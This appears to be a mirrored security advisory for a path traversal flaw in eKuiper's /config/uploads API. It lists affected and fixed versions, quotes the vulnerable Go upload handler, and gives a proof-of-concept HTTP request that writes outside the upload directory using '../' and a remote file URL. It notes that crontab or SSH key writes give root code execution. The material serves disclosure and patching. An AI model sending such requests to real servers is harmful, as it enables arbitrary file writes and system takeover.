| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| github.com/lf-edge/ekuiper | ≤ 1.14.7 | |
| github.com/lf-edge/ekuiper/v2 | < 2.2.0 | 2.2.0 |
eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.
func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
// Upload or overwrite a file
case http.MethodPost:
switch r.Header.Get("Content-Type") {
case "application/json":
fc := &fileContent{}
defer r.Body.Close()
err := json.NewDecoder(r.Body).Decode(fc)
if err != nil {
handleError(w, err, "Invalid body: Error decoding file json", logger)
return
}
err = fc.Validate()
if err != nil {
handleError(w, err, "Invalid body: missing necessary field", logger)
return
}
filePath := filepath.Join(uploadDir, fc.Name)
err = upload(fc)
POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89
{
"name": "../../../../tmp/success",
"file": "http://192.168.65.254:8888/success"
}
Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.
The reporters is m0d9 from Tencent YunDing Lab.
これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャン